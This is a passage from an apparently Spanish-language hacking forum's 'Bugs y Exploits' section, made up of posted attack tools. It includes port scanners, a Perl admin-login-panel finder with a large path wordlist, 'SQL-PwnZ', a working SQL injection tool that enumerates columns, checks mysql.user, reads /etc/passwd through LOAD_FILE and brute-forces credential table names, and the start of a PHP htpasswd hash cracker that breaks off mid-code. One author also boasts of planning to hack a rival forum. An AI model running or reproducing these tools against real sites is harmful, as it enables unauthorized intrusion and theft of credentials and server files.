@@@@@@@@@@@@@@@       @@@@@@@@@   @@@@@@
@@@@@@@@@@@@@@@       *@@@@@@@@  *@@@@@@
@@@@@@@@@@@@@@        @@@@@@@@@  *@@@@@@
@@@@@@@@@@@@@@  @ *  *@@@@@@@@@  *@@@@@@
@@@@@@@@@@@@****@ *@@@@@@@@@@@* ***@@@@@
@@@@@@@@@@@****@@**@@@@@@@@@@@ *@ **@@@@
@@@@@@@@@@**@* @@**@@@@@@@@@@@**@***@@@@
@@@@@@@@@@*@@ *@@*@@@@@@@@@@@@@*@**@@@@@
@@@@@@@@@@@@* *@*@@@@@@@**@@@@@*** **@@@
@@@@@@@@@@*@* ****@@@@@@ *@@@@* @@* *@@@
@@@@@@@@@@ @**@@*  @@@@******  @@@@**@@@
@@@@@@@@@@***@@@@      *@*     @@@@@@@@@
@@@@@@@@@@@ @@@@@*   *@@@@@@  *@@@@@@@@@
@@@@@@@@@@@@@@@@@    @@@@@@@  *@@@@@@@@@
@@@@@@@@@@@@@@@@@** *@@@@@@* **@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@***@*@@@@@@@@@***@@@@@@@@

   Este programa fue escrito por Guason = me
   Este lo realice en dos fases uno  Viendo porno y otro jugando al mithlogy titans 
   Este ayuda a verificar vulnerabiliades de una web o de un archivo entero lo que me es
   mucho mas comodo .......
   Simplemente no mando saludos a nadie mmm talvez a explorer de perlenespañol y a soulnet
   los demas por mi mueranse  y pronto voy a hackear el-hacker.net muaaaaaaaaa ajajajajajajaja
  ajajajajajajajajajaj  ajajajajajajajajajaj  ajajajajajajajajajaj  ajajajajajajajajajaj  ajajajajajajajajajaj
   Tambien  mando saludos a los moderadores de el-hacker quienes piensan que se han desazido de      mi baneandome pero NO! porque todavia estoy ahi y me meto en sus narices

     Ja! Pero que malo que soy !

   
  Mis datos =
   
  nOMBRE = Salchichon
  Emal = [email protected]
  Web = http://guason-cracker.blogspot.com/

);


print "\n";

syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;
}

sub salir {
print "\n\n";
print "Good Bye\n\n\n";
exit 1;
}



Good Bye y suerte a todos
#18
Bugs y Exploits / Port Scaner By _84kur10_ & JxE-13
Febrero 25, 2010, 11:41:51 AM
Código: php
<?php

define(NAMEFILE,"ports.html");
if ($argv[1]==NULL)
{
print
"
###########     Port Scaner    By _84kur10_ , JxE-13  ##############
#                                                                  #
#        Escaner de puertos                                        #
#        Busca ports open                                 #
#==================================================================#
#  Usage: php Scan.php ip initport eofport                         #
#  M@ndrake Black Team, LatinoHackTeam, Ro0T-MaFia                 #
####################################################################\n\n";
die;
}
$init=(int)$argv[2];
$eof =(int)$argv[3];
$ip  =$argv[1];
function savePort($info)
{
$fp = fopen(NAMEFILE,"ab+");
fwrite($fp,$info."<br>");
fclose($fp);
}
savePort("<br><h1>Resultado de escan para ".$ip."</h1><br>");
savePort("c0ded by _84kur10_, JxE-13 <br>");
print "Scaneando...\n";

for ($i=$init;$i<=$eof;$i++){
$conect=fsockopen($ip, $i,$errno, $errstr, 30);
if(false==$conect)
{
print  "\nPuerto ".$i." No encontrado\n";
}
else
{
$info= "\n\nPuerto ".$i." Fue encontrado Abierto\n";
savePort($info);
print $info;
}
}

?>
#19
Bugs y Exploits / Scanner Port ( Ruby) by Guason
Febrero 25, 2010, 11:41:21 AM
Código: ruby
#Name program = Scanner-Port
#Version = beta
#Autor = Guason



require 'socket'
require 'timeout'

host=ARGV[0]
pi=ARGV[1]
pf = ARGV[2]

if !host

print "\nScanner Port by Guason\n\n"
print "Modo de uso = <HOST> <PUERTO INICIAL> <PUERTO FINAL>\n\n\n"
print "<HOST> = Ip o host a scanear\n"
print "<PUERTO INICIAL> = Puerto inicial\n"
print "<PUERTO FINAL> =Puerto final\n\n\n"
print "Written by Guason\n\n\n"
exit(1);



else

host=ARGV[0]

print "\n\nIniciando scaneo a #{host} con parametros #{pi}-#{pf}\n\n"




for port in (pi..pf)




begin
Timeout::timeout(0.2) {
sock=TCPSocket.new(host,port)
}
rescue Timeout::Error

rescue

print ""





else


print "Puerto  #{port} ABIERTO \n"



end
end



print "\n\nScaneo finalizado\n\n"
print "Written by Guason || 2009\n\n"
exit(1);


end





#Agradecimientos = protos por sus manuales bien explicados y a todo el foro Under Security
#Email Autor = [email protected]
#wEB = infierno-hacking.webcindario.com
#Blog = guason-cracker.blogspot.com
#Good Bye
#20
Bugs y Exploits / Busca Panel (Very Good!) XD By KuNdUz
Febrero 25, 2010, 11:39:33 AM
Código: perl
#!usr/bin/perl

##
# Coded By KuNdUz
##

use Tk;
use HTTP::Request;
use LWP::UserAgent;

$mw = MainWindow->new( -background => "black", -cursor=>"crosshair");
$mw->geometry("1070x325+100+300");
$mw->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$mw->resizable(0,0);

$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$statusbottom = $mw->Label(-textvariable => \$statusbar, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 7", -width => 120)->place(-x => 240, -y => 307);
$mw->Label(-background => "black", -foreground => "black")->pack();
$stat = "Control Panel Found";
$sta = $mw->Label(-textvariable => \$stat, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 380, -y => 10);
$stat1 = "Control Panel Not Found";
$st = $mw->Label(-textvariable => \$stat1, -relief => 'flat', -background => "black", -foreground => "red", -font => "Verdana 9")->place(-x => 786, -y => 10);
$test1 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$test2 = $mw->Scrolled("Text", -scrollbars => 'oe', -font => "Verdana 8", -background => "black", -foreground => "red", -selectbackground => "red", -insertbackground => "red", -relief => "ridge", -width => 55, -height=> 20)->pack(-side => 'right', -anchor => 'e');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => "                    Enter Site ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$site)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "red", -font => "Verdana 9", -text => "          Enter Site Source Code ")->pack(-anchor => 'nw');
$mw->Entry(-background => "black", -foreground => "red", -selectbackground => "black", -insertbackground => "red", -width => 40, -relief => "ridge", -textvariable => \$code)->pack(-anchor => 'nw');
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Label(-background => "black", -foreground => "black")->pack();
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Start", -width => 5, -command => \&scan)->place(-x => 40, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Stop", -width => 5, -command => \&sto )->place(-x => 95, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Clear",  -width => 5, -command => \&cle)->place(-x => 150, -y => 190);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Help/About", -width => 9, -command => \&heaab)->place(-x => 50, -y => 240);
$mw->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -font => "Verdana 7", -relief => "groove", -text => "Exit",  -width => 5, -command => sub { exit })->place(-x => 133, -y => 240);

MainLoop;

sub heaab {
$about = $mw->Toplevel(-background => "black", -cursor=>"crosshair");
$about->geometry("500x422+425+250");
$about->title("|_^_| Admin Control Panel Finder v1.2 |_^_|");
$about->resizable(0,0);
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 Help |_^_|\n")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => " -Enter Site-\nEnter Target address,\n exemplarily www.site.com or www.site.com/path")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => " -Enter Site Source Code-\nEnter target site source code.\n Site source code php is the write php or\n Site source code asp is the write asp")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10",  -text => "\nEx:\n Enter Site : www.target.com\n Enter Site Source Code : php")->pack();
$about->Label(-background => "black", -foreground=>"red")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 10", -text => "|_^_| Admin Control Panel Finder v1.2 About |_^_|\n")->pack();
$about->Label(-background => "black",-foreground => "red",-font => "wingdings 22", -text => "7")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11",  -text => "Coded By KuNdUz")->pack();
$about->Label(-background => "black", -foreground=>"red", -font=> "Cambria 11",  -text => "Enjoy! :)")->pack();
$about->Label(-background => "black", -foreground => "red", -font => "Cambria 8",  -text => "10/12/2008")->pack(-anchor => "se");
$about->Button(-activebackground => "red",  -activeforeground => "black",  -background => "black", -foreground => "red", -relief => "groove", -font=> "Verdana 7", -text => "Exit", -command => [$about => 'destroy'])->pack(-fill => "both");
}

sub cle {
$test1->delete("0.0", "end");
$test2->delete("0.0", "end");
}

sub sto {
$sisite = "",
$ways = "",
@path1 = ""
}

sub scan {

$test1->delete("0.0", "end");
$test2->delete("0.0", "end");

$sisite = $site;

if ( $sisite !~ /^http:/ ) {
$sisite = 'http://' . $sisite;
}
if ( $sisite !~ /\/$/ ) {
$sisite = $sisite . '/';
}

if($code eq "php"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);

foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}

if($code eq "asp"){
@path1=('admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html'
);

foreach $ways(@path1){
$statusbar = "Scaning path: " . $ways;
$statusbottom->update();
$statusbar = "|_^_| Admin Control Panel Finder v1.2 |_^_|";
$final=$sisite.$ways;
$req=HTTP::Request->new(GET=>$final);
$ua=LWP::UserAgent->new();
$ua->timeout(30);
$response=$ua->request($req);

if($response->content =~ /Username/ ||
$response->content =~ /Password/ ||
$response->content =~ /username/ ||
$response->content =~ /password/ ||
$response->content =~ /USERNAME/ ||
$response->content =~ /PASSWORD/ ||
$response->content =~ /Senha/ ||
$response->content =~ /senha/ ||
$response->content =~ /Personal/ ||
$response->content =~ /Usuario/ ||
$response->content =~ /Clave/ ||
$response->content =~ /Usager/ ||
$response->content =~ /usager/ ||
$response->content =~ /Sing/ ||
$response->content =~ /passe/ ||
$response->content =~ /P\/W/ ||
$response->content =~ /Admin Password/
){
$test2->insert('end', $final."\n");
}else{
$test1->insert('end', $final."\n");
}
}
}
}

##
# Coded By KuNdUz
##
#21
Bugs y Exploits / Scanner Inyeccion SQL en Perl
Febrero 25, 2010, 11:39:11 AM
Código: php

#!/usr/bin/perl

###########################################################################################
#                           -[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-                   ###
###########################################################################################

###########################################################################################
# [+] inf0:                                                                             ###
###########################################################################################
# Busca:                                                                                ###
# ======                                                                                ###
#  - Nº de columnas                                                                     ###       
#  - Information_Schema && MySQL.User                                                   ###
#  - LOAD_FILE                                                                          ###
#  - Tablas                                                                             ###                                               
#  - Columnas                                                                           ###
#                                                                                       ###
#  ...y guarda todo en un archivo de texto.                                             ###
#                                                                                       ###
###########################################################################################

###########################################################################################
# [+] Use:                                                                              ###
###########################################################################################
# perl sqlpwnz.pl [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]          ###
#   [WEBSITE]: [url]http://www.web.com/index.php?id=[/url]                                         ###
#   [COLUMNS]: Limite de columnas                                                       ###
#   [FILE]: Archivo donde guardar web vulnerable                                        ###
#   [COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)                             ###
#   [-T]: Intentar brutear tablas (Opcional)                                            ###
#   [-C]: Intentar brutear columnas (Opcional)                                          ###
#   [-NOCHECK]: No hacer el chequeo inicial (Opcional)                                  ###
###########################################################################################

###########################################################################################
# [+] c0ntact:                                                                          ###
###########################################################################################
# MSN:    [email][email protected][/email]                                                          ###
# Jabber: [email][email protected][/email]                                                             ###
# E-Mail: [email][email protected][/email]                                                       ###
###########################################################################################

###########################################################################################
# [+] sh0utz:                                                                           ###
###########################################################################################
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; VenoM ; InyeXion ; N3xtdoor      ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: [url]WWW.MITM.CL[/url] | [url]WWW.REMOTEEXECUTION.ORG[/url] | [url]WWW.DIOSDELARED.COM[/url]                    ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
   {
       print "\n\n-[+]- SQL-PwnZ v1.1 | By Login-Root -[+]-\n=========================================";
       print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE] [COMENTARIO] [-T] [-C] [-NOCHECK]\n";
       print "\n[WEBSITE]: [url]http://www.web.com/index.php?id=\n[/url][COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n[COMENTARIO]: '/*' o '--' (Sin las comillas) (Opcional)\n[-T]: Intentar brutear tablas (Opcional)\n[-C]: Intentar brutear columnas (Opcional)\n[-NOCHECK]: No hacer el chequeo inicial (Opcional)\n\n";
       exit (0);
   }
   
@nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
     'name','names','nombre','nombres','usuarios','member','members','admin_table',
     'miembro','miembros','membername','admins','administrator',
     'administrators','passwd','password','passwords','pass','Pass',
     'tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
     'member_password','mods','mod','moderators','moderator','user_email',
     'user_emails','user_mail','user_mails','mail','emails','email','address',
     'e-mail','emailaddress','correo','correos','phpbb_users','log','logins',
     'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
     'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador',
     'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
     'sistema_usuario','sistema_password','contrasena','auth','key','senha',
     'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
      'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization',
      'membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
      'associated','accnt','customers','customer','membres','administrateur','utilisateur',
      'tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
      'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members',
     'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');

@nombrecolumna=('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
          'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
          'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
          'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
          'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
          'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','loginname','userright');

if ( $ARGV[0]   !~   /^http:/ )
  {
      $ARGV[0] = "http://" . $ARGV[0];
  }

if ($ARGV[3] =~ "--" || $ARGV[4] =~ "--" || $ARGV[5] =~ "--" || $ARGV[6] =~ "--")
{
   $cmn.= "+";
   $cfin.="--";
   print "\n[+] Comentarios a utilizar: '--' & '+'";   
}
else
{
   $cmn.= "/**/";
   $cfin.= "/*";
   print "\n[+] Comentarios a utilizar: '/*' & '/**/'";
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
if ($ARGV[3] =~ "-NOCHECK" || $ARGV[4] =~ "-NOCHECK" || $ARGV[5] =~ "-NOCHECK" || $ARGV[6] =~ "-NOCHECK")
  {
      print "\n[!] Se omite el chequeo inicial...\n";
      print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
  }
else
  {
      print "\n[!] Chequeando si la web es vulnerable...\n";
      $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cfin;
      $response=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");
      if($response=~ /mysql_fetch_/ || $response=~ /You have an error in your SQL syntax/ || $response =~ /tem um erro de sintaxe no seu SQL/ ||         $response =~ /mysql_num_rows/ || $response =~ /Division by zero in/)
        {
            print "[+] Web vulnerable, continua el script...\n";
            print WEB "[WEBSITE]:\n\n$ARGV[0]\n";
        }
        else
          {
            print "[-] Website aparentemente no vulnerable a SQL Inyection, intentar con otro comentario\n\n";
            exit(1);
          }
  }
print "\n[!] Buscando columnas...\n";
for ($column = 0 ; $column < $ARGV[1] ; $column ++)
{
   $union.=','.$column;
   $inyection.=','."0x6c6f67696e70776e7a";
    if ($column == 0)
      {
          print WEB "\n[COLUMNAS]:\n\n";
          $inyection = '';
          $union = '';
      }
    $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
    $response=get($sql)or die("[-] Error al intentar encontrar el numero de columnas, chequear website\n");
    if($response =~ /loginpwnz/)
      {
         $column ++;
         print "[+] La web posee $column columnas\n\n";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
         print "$sql\n";
         print WEB "$sql\n";
         print "\n[!] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
         $response=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
            print WEB "\n\n[INFORMATION_SCHEMA]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] Information_Schema no disponible";
            }
         print "\n[!] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
         $response=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($response =~ /loginpwnz/)
            {
               print "\n[+] MySQL.User disponible...guardando en $ARGV[2]";
               $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
               print WEB "\n\n[MYSQL.USER]:\n\n$sql\n";
               
            }
         else
            {
               print "\n[-] MySQL.User no disponible";
            }
   while ($loadcont < $column-1)
      {
      $loadfile.=','.'load_file(0x2f6574632f706173737764)';
      $loadcont++;
      }
   print "\n[!] Chequeando si es posible inyectar LOAD_FILE...";
        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
   $response=get($sql)or die("[-] Imposible inyectar LOAD_FILE\n");
         if($response =~ /root:x:0:0/)
            {
               print "\n[+] LOAD_FILE disponible...guardando en $ARGV[2]";
               print WEB "\n\n[LOAD_FILE]:\n\nload_file(0x2f6574632f706173737764) => OK! (0x2f6574632f706173737764 => /etc/passwd)\n";
          }
         else
            {
               print "\n[-] LOAD_FILE no disponible";
            }
   if ($ARGV[3] =~ "-T" || $ARGV[4] =~ "-T" || $ARGV[5] =~ "-T" || $ARGV[6] =~ "-T")
            {
              print "\n\n[!] Bruteando tablas...";
              print WEB "\n\n[TABLAS]:\n\n";
              foreach $tabla(@nombretabla)
                {
                  chomp($tabla);
                  $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
                  $response=get($sql)or die("[-] Imposible obtener tablas\n");
                  if($response =~ /loginpwnz/)
                    {
                        print "\n[+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
                        $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
                        print WEB "$sql\n";
                    }
                }
              }
        if ($ARGV[3] =~ "-C" || $ARGV[4] =~ "-C" || $ARGV[5] =~ "-C" || $ARGV[6] =~ "-C")
          {
             print "\n\n[!] Tabla a la cual brutear columnas: ";
            $tabla.=<STDIN>;
            chomp($tabla);
            print WEB "\n\n[COLUMNAS EN TABLA]: $tabla\n\n";
            foreach $columna(@nombrecolumna)
            {
             chomp($columna);
             $sql=$ARGV[0]."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
             $response=get($sql)or die("[-] Imposible obtener columnas\n");
             if ($response =~ /loginpwnz/)
                  {
                      print "\n[+] La columna $columna esta disponible...guardando en $ARGV[2]";
                      print WEB "$columna\n";
                  }
            }
        }
        print WEB "\n\n\n[*EOF*]";
        print "\n\n[+] Todo salvado correctamente en $ARGV[2]\n\n";
        print "## c0ded by Login-Root | 2008 ##\n\n";
        exit (0);
      }
}
print "[-] Imposible encontrar numero de columnas, intentar con mas columnas\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (0);


Uso:

Citarperl No tienes permitido ver los links. Registrarse o Entrar a mi cuenta No tienes permitido ver los links. Registrarse o Entrar a mi cuenta numero de columnas archivo_guardar.txt -- -T -C

Citar-- = Comentarios
T= tablas
C=Columnas


Saludos =)

Fuente:IlegalIntrusion.net
#22
Bugs y Exploits / Crackeador HTPASSWD 0.1
Febrero 25, 2010, 11:35:56 AM

  • Ataque de diccionario
  • BruteForce Numerico
  • BruteForce Solo Letras
  • Probar Toda la Tabla Ascii
  • Rango Definido por Usuario


Código: php
<html>
<head><title>Crackeador HTPASSWD 0.1 by Xianur0</title></head>
<body>
<center><h1>Crackeador HTPASSWD 0.1 by Xianur0<h1></center>
<script type="text/Javascript">function mostrar (postid) { whichpost = document.getElementById(postid);whichpost.className="postshown"; }
function ocultar (postid) { whichpost = document.getElementById(postid);whichpost.className="posthidden"; }
</script><style>.posthidden {display:none} .postshown {display:inline}</style>
<form>
<b>Hash: <input type="text" name="hash"><br>
<span class="posthidden" id="1">Largo Passwords: <input type="text" name="largo"><br></span>
<INPUT ONCLICK="javascript:ocultar(1);" TYPE="RADIO" NAME="tipo" VALUE="1">Ataque de diccionario<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="2">BruteForce Numerico<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="3">BruteForce Solo Letras<BR>
<INPUT ONCLICK="javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="4">Probar Toda la Tabla Ascii :D<BR>
<INPUT ONCLICK="javascript:mostrar(2); javascript:mostrar(1)" TYPE="RADIO" NAME="tipo" VALUE="5">Rango Definido por Usuario<BR>
<span class="posthidden" id="2">Rango de Caracteres: <input type="text" name="rango" value='A-z'><br></span>
<input type="submit" value="Crack!">
</form>
<?php
if(isset($_GET['hash'])) {
set_time_limit(0);
define("hash", $_GET['hash']);
define("salt", $_GET['hash']{0}.$_GET['hash']{1});
define("largo", $_GET['largo']);
function comprobar($password) {
if(crypt($password, salt) == hash) {die("<br>Password Encontrada: $password");}
}

function diccionario() {
$archivo = file("db.txt");
foreach($archivo as $n=>$pass) {
$pass = chop($pass);
print comprobar($pass, salt);
}
}

function generar($inicio, $fin) {
$inicio = ord($inicio);
$fin = ord($fin);
while($run != "kill") {
